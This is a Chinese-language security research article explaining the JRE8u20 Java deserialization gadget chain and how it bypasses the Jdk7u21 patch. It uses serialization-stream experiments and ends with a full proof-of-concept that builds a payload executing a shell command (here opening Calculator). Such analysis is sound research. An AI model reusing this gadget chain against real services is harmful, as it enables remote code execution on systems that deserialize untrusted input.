作者:n1nty@360 A-Team

正文

JRE8u20 是由 pwntester 基于另外兩位黑客的代碼改造出來的。因為此 payload 涉及到手動構造序列化字節流,使得它與 ysoserial 框架中所有的 payload 的代碼結構都不太一樣,所以沒有被集成到 ysoserial 框架中。此 payload 在國內沒有受到太大的關注也許與這個原因有關。我對此 payload 進行了相對深入的研究,學到了不少東西,在此與大家分享。

需要知道的背景知識

  1. 此 payload 是 ysoserial 中 Jdk7u21 的升級版,所以你需要知道 Jdk7u21 的工作原理
  2. 你需要對序列化數據的二進制結構有一些了解,serializationdumper 在這一點上可以幫到你。

簡述 Jdk7u21

網上有不少人已經詳細分析過 Jdk7u21 了,有興趣大家自己去找找看。

大概流程如下:

  1. TemplatesImpl 類可被序列化,并且其內部名為 __bytecodes 的成員可以用來存儲某個 class 的字節數據
  2. 通過 TemplatesImpl 類的 getOutputProperties 方法可以最終導致 __bytecodes 所存儲的字節數據被轉換成為一個 Class(通過 ClassLoader.defineClass),并實例化此 Class,導致 Class 的構造方法中的代碼被執行。
  3. 利用 LinkedHashSet 與 AnnotationInvocationHandler 來觸發 TemplatesImpl 的 getOutputProperties 方法。這里的流程有點多,不展開了。

Jdk7u21 的修補

Jdk7u21 如其名只能工作在 7u21 及之前的版本,因為在后續的版本中,此 payload 依賴的 AnnotationInvocationHandler 的反序列化邏輯發生了改變。其 readObject 方法中加入了一個如下的檢查:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation 
type in annotation serial stream");
    }
/// 省略了后續代碼

}

可以看到在反序列化 AnnotationInvocationHandler 的過程中,如果 this.type 的值不是注解類型的,則會拋出異常,這個異常會打斷整個反序列化的流程。而 7u21 的 payload 里面,我們需要 this.type 的值為 Templates.class 才可以,否則我們是無法利用 AnnotationInvocationHandler 來調用到 getOutputProperties 方法。正是這個異常,使得此 payload 在后續的JRE 版本中失效了。強行使用的話會看到如下的錯誤:

Exception in thread "main" java.io.InvalidObjectException: Non-annotation type in annotation serial stream
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:341)
.....

繞過的思路

仔細看 AnnotationInvocationHandler.readObject 方法中的代碼你會發現大概步驟是:

  1. var1.defaultReadObject();
  2. 檢查 this.type,非注解類型則拋出異常。

代碼中先利用 var1.defaultReadObject() 來還原了對象(從反序列化流中還原了 AnnotationInvocationHandler 的所有成員的值),然后再進行異常的拋出。也就是說,AnnotationInvocationHandler 這個對象是先被成功還原,然后再拋出的異常。這里給了我們可趁之機。

(以下所有的內容我會省略大量的細節,為了更好的理解建議各位去學習一下 Java 序列化的規范。)

一些小實驗

實驗 1:序列化中的引用機制
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(new File("/tmp/ser")));

Date d = new Date();
out.writeObject(d);
out.writeObject(d);
out.close();

向 /tmp/ser 中寫入了兩個對象,利用 serializationdump 查看一下寫入的序列化結構如下。

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73 // 這里是第一個 writeObject 寫入的 date 對象
    TC_CLASSDESC - 0x72
      className
        Length - 14 - 0x00 0e
        Value - java.util.Date - 0x6a6176612e7574696c2e44617465
      serialVersionUID - 0x68 6a 81 01 4b 59 74 19
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 0 - 0x00 00
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 01 // 為此對象分配一個值為 0x00 7e 00 01 的 handle,要注意的是這個 handle 并沒有被真正寫入文件,而是在序列化和反序列化的過程中計算出來的。serializationdumper 這個工具在這里將它顯示出來只是為了方便分析。
    classdata
      java.util.Date
        values
        objectAnnotation
          TC_BLOCKDATA - 0x77
            Length - 8 - 0x08
            Contents - 0x0000015fd4b76bb1
          TC_ENDBLOCKDATA - 0x78
  TC_REFERENCE - 0x71 // 這里是第二個 writeObject 對象寫入的 date 對象
    Handle - 8257537 - 0x00 7e 00 01

可以發現,因為我們兩次 writeObject 寫入的其實是同一個對象,所以 Date 對象的數據只在第一次 writeObject 的時候被真實寫入了。而第二次 writeObject 時,寫入的是一個 TC_REFERENCE 的結構,隨后跟了一個4 字節的 Int 值,值為 0x00 7e 00 01。這是什么意思呢?意思就是第二個對象引用的其實是 handle 為 0x00 7e 00 01 的那個對象。

在反序列化進行讀取的時候,因為之前進行了兩次 writeObject,所以為了讀取,也應該進行兩次 readObject:

  1. 第一次 readObject 將會讀取 TC_OBJECT 表示的第 1 個對象,發現是 Date 類型的對象,然后從流中讀取此對象成員的值并還原。并為此 Date 對象分配一個值為 0x00 7e 00 01 的 handle。
  2. 第二個 readObject 會讀取到 TC_REFERENCE,說明是一個引用,引用的是剛才還原出來的那個 Date 對象,此時將直接返回之前那個 Date 對象的引用。
實驗 2:還原 readObject 中會拋出異常的對象

看實驗標題你就知道,這是為了還原 AnnotationInvocationHandler 而做的簡化版的實驗。

假設有如下 Passcode 類

public class Passcode implements Serializable {
    private static final long serialVersionUID = 100L;
    private String passcode;

    public Passcode(String passcode) {
        this.passcode = passcode;
    }
    private void readObject(ObjectInputStream input) 
    throws Exception {
        input.defaultReadObject();

        if (!this.passcode.equals("root")) {
            throw new Exception("pass code is not correct");
        }
    }
}

根據 readObject 中的邏輯,似乎我們只能還原一個 passcode 成員值為 root 的對象,因為如果不是 root ,就會有異常來打斷反序列化的操作。那么我們如何還原出一個 passcode 值不是 root 的對象呢?我們需要其他類的幫助。

假設有一個如下的 WrapperClass 類:

public class WrapperClass implements Serializable {

    private static final long serialVersionUID = 200L;

    private void readObject(ObjectInputStream input) 
    throws Exception {
        input.defaultReadObject();
        try {
            input.readObject();
        } catch (Exception e) {
            System.out.println("WrapperClass.readObject: 
input.readObject error");
        }
    }
}

此類在自身 readObject 的方法內,在一個 try/catch 塊里進行了 input.readObject 來讀取當前對象數據區塊中的下一個對象。

解惑

假設我們生成如下二進制結構的序列化文件(簡化版):

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73 // WrapperClass 對象
    TC_CLASSDESC - 0x72
      ...
      // 省略,當然這里的flag 要被標記為 SC_SERIALIZABLE | SC_WRITE_METHOD
    classdata // 這里是 WrapperClass 對象的數據區域
      TC_OBJECT - 0x73 // 這里是 passcode 值為 "wrong passcode" 的 Passcode 類對象,并且在反序列化的過程中為此對象分配 Handle,假如說為 0x00 7e 00 03
        ...
  TC_REFERENCE - 0x71
    Handle - 8257537 - 0x00 7e 00 03 // 這里重新引用上面的那個 Passcode 對象

WrapperClass.readObject 會利用 input.readObject 來嘗試讀取并還原 Passcode 對象。雖然在還原 Passcode 對象時,出現了異常,但是被 try/catch 住了,所以序列化的流程沒有被打斷。Passcode 對象被正常生成了并且被分配了一個值為 0x00 7e 00 03 的 handle。隨后流里出現了 TC_REFERENCE 重新指向了之前生成的那個 Passcode 對象,這樣我們就可以得到一個在正常情況下無法得到的 passcode 成員值為 "wrong passcode" 的 Passcode 類對象。

讀取的時候需要用如下代碼進行兩次 readObject:

ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject(); // 第一次,讀出 Wrapper Class
System.out.println(in.readObject()); // 第二次,讀出 Passcode 對象
實驗 3:利用 SerialWriter 給對象插入假成員

SerialWriter 是我自己寫的用于生成自定義序列化數據的一個工具。它的主要亮點就在于可以很自由的生成與拼接任意序列化數據,可以很方便地做到 Java 原生序列化不容易做到的一些事情。它不完全地實現了 Java 序列化的一些規范。簡單地理解就是 SerialWriter 是我寫的一個簡化版的 ObjectOutputStream。目前還不是很完善,以后我會將代碼上傳至 github。

如果用 SerialWriter 來生成實驗 2 里面提到的那段序列化數據的話,代碼如下:

public static void test2() throws Exception {
    Serialization ser = new Serialization();

    // wrong passcode ,反序列化時會出現異常
    Passcode passcode = new Passcode("wrong passcode"); 

    TCClassDesc desc = new TCClassDesc(
    "util.n1nty.testpayload.WrapperClass", 
(byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));

    TCObject.ObjectData data = new TCObject.ObjectData();
    // 將 passcode 添加到 WrapperClass 對象的數據區
    // 使得 WrapperClass.readObject 內部的 input.readObject 
    // 可以將它讀出
    data.addData(passcode); 

    TCObject obj = new TCObject(ser);
    obj.addClassDescData(desc, data, true);

    ser.addObject(obj);
    // 這里最終寫入的是一個 TC_REFERENCE
    ser.addObject(passcode); 

    ser.write("/tmp/ser");

    ObjectInputStream in = new ObjectInputStream(
    new FileInputStream(new File("/tmp/ser")));
    in.readObject();
    System.out.println(in.readObject());
}

給對象插入假成員

什么意思呢?序列化數據中,有一段名為 TC_CLASSDESC 的數據結構,此數據結構中保存了被序列化的對象所屬的類的成員結構(有多少個成員,分別叫什么名字,以及都是什么類型的。)

還是拿上面的 Passcode 類來做例子,序列化一個 Passcode 類的對象后,你會發現它的 TC_CLASSDESC 的結構如下:

            TC_CLASSDESC - 0x72
              className
                Length - 31 - 0x00 1f    // 類名長度
                Value - util.n1nty.testpayload.Passcode - 0x7574696c2e6e316e74792e746573747061796c6f61642e50617373636f6465    //類名
              serialVersionUID - 0x00 00 00 00 00 00 00 64
              newHandle 0x00 7e 00 02
              classDescFlags - 0x02 - SC_SERIALIZABLE
              fieldCount - 1 - 0x00 01    // 成員數量,只有 1 個
              Fields
                0:
                  Object - L - 0x4c    
                  fieldName
                    Length - 8 - 0x00 08    // 成員名長度
                    Value - passcode - 0x70617373636f6465    // 成員名
                  className1
                    TC_STRING - 0x74    
                      newHandle 0x00 7e 00 03
                      Length - 18 - 0x00 12    // 成員類型名的長度
                      Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b    // 成員類型,為Ljava/lang/String;

如果我們在這段結構中,插入一個 Passcode 類中根本不存在的成員,也不會有任何問題。這個虛假的值會被反序列化出來,但是最終會被拋棄掉,因為 Passcode 中不存在相應的成員。但是如果這個值是一個對象的話,反序列化機制會為這個值分配一個 Handle。JRE8u20 中利用到了這個技巧來生成 AnnotationInvocationHandler 并在隨后的動態代理對象中引用它。利用 ObjectOutputStream 我們是無法做到添加假成員的,這種場景下 SerialWriter 就派上了用場。(類似的技巧還有:在 TC_CLASSDESC 中把一個類標記為 SC_WRITE_METHOD,然后就可以向這個類的數據區域尾部隨意添加任何數據,這些數據都會在這個類被反序列化的同時也自動被反序列化)

回到主題 - Payload JRE8u20

上面已經分析過是什么問題導致了 Jdk7u21 不能在新版本中使用。也用了幾個簡單的實驗來向大家展示了如何繞過這個問題。那么現在回到主題。

JRE8u20 中利用到了名為 java.beans.beancontext.BeanContextSupport 的類。 此類與上面實驗所用到的 WrapperClass 的作用是一樣的,只不過稍復雜一些。

大體步驟如下:

  1. JRE8u20 中向 HashSet 的 TC_CLASSDESC 中添加了一個假屬性,屬性的值就是BeanContextChild 類的對象。
  2. BeanContextSupport 在反序列化的過程中會讀到 this.type 值為 Templates.class 的 AnnotationInvocationHandler 類的對象,因為 BeanContextChild 中有 try/catch,所以還原 AnnotationInvocationHandler 對象時出的異常被處理掉了,沒有打斷反序列化的邏輯。同時 AnnotationInvocationHandler 對象被分配了一個 handle。
  3. 然后就是繼續 Jdk7u21 的流程,后續的 payload 直接引用了之前創建出來的 AnnotationInvocationHandler 。

pwntester 在 github 上傳了他改的 Poc,但是因為他直接將序列化文件的結構寫在了 Java 文件的一個數組里面,而且對象間的 handle 與 TC_REFERENCE 的值都需要人工手動修正,所以非常不直觀。而且手動修正 handle 是一個很煩人的事情。

為了證明我不是一個理論派 :-) ,我用 SerialWriter 重新實現了整個 Poc。代碼如下:(手機端看不全代碼,在電腦上看吧)

package util.n1nty.testpayload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import util.Gadgets;
import util.Reflections;
import util.n1nty.gen.*;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

import static java.io.ObjectStreamConstants.*;

public class TestRCE {

    public static Templates makeTemplates(String command) {
        TemplatesImpl templates = null;
        try {
            templates =  Gadgets.createTemplatesImpl(command);
            Reflections.setFieldValue(templates, "_auxClasses", null);

        } catch (Exception e) {
            e.printStackTrace();
        }
        return templates;
    }

    public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
        TCObject handler = new TCObject(ser) {
            @Override
            public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
                ByteArrayOutputStream byteout = new ByteArrayOutputStream();
                super.doWrite(new DataOutputStream(byteout), handles);
                byte[] bytes = byteout.toByteArray();

                /**
                 * 去掉最后的 TC_ENDBLOCKDATA 字節。因為在反序列化 annotation invocation handler 的過程中會出現異常導致序列化的過程不能正常結束
                 * 從而導致 TC_ENDBLOCKDATA 這個字節不能被正常吃掉
                 * 我們就不能生成這個字節
                 * */
                out.write(bytes, 0, bytes.length -1);
            }
        };

        // 手動添加  SC_WRITE_METHOD,否則會因為反序列化過程中的異常導致 ois.defaultDataEnd 為 true,導致流不可用。
        TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
        desc.addField(new TCClassDesc.Field("memberValues", Map.class));
        desc.addField(new TCClassDesc.Field("type", Class.class));

        TCObject.ObjectData data = new TCObject.ObjectData();
        data.addData(map);
        data.addData(Templates.class);

        handler.addClassDescData(desc, data);

        return handler;
    }

    public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
        TCObject obj = new TCObject(ser);

        TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
        TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");

        beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
        TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
        beanContextSupportData.addData(1); // serializable


        beanContextSupportData.addData(handler);
        beanContextSupportData.addData(0, true); // 防止 deserialize 內再執行 readObject


        beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
        TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
        beanContextChildSupportData.addData(obj); // 指回被序列化的 BeanContextSupport 對象

        obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
        obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);

        return obj;
    }

    public static void main(String[] args) throws Exception {

        Serialization ser = new Serialization();
        Templates templates = makeTemplates("open /Applications/Calculator.app");

        HashMap map = new HashMap();
        map.put("f5a5a608", templates);

        TCObject handler = makeHandler(map, ser);


        TCObject linkedHashset = new TCObject(ser);
        TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
        TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();


        TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
        hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
        TCObject.ObjectData hashsetData = new TCObject.ObjectData();
        hashsetData.addData(makeBeanContextSupport(handler, ser));
        hashsetData.addData(10, true); // capacity
        hashsetData.addData(1.0f, true); // loadFactor
        hashsetData.addData(2, true); // size


        hashsetData.addData(templates);


        TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
        hashsetData.addData(proxy);


        linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
        linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);

        ser.addObject(linkedHashset);
        ser.write("/tmp/ser");

        ObjectInputStream in = new ObjectInputStream(new FileInputStream(new File("/tmp/ser")));

        System.out.println(in.readObject());
    }
}

參考資料

http://wouter.coekaerts.be/2015/annotationinvocationhandler
這一篇資料幫助非常大,整個 payload 的思路就是這篇文章提出來的。作者對序列化機制有長時間的深入研究。
https://gist.github.com/frohoff/24af7913611f8406eaf3
https://github.com/pwntester/JRE8u20_RCE_Gadget


歡迎關注作者公眾號


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/456/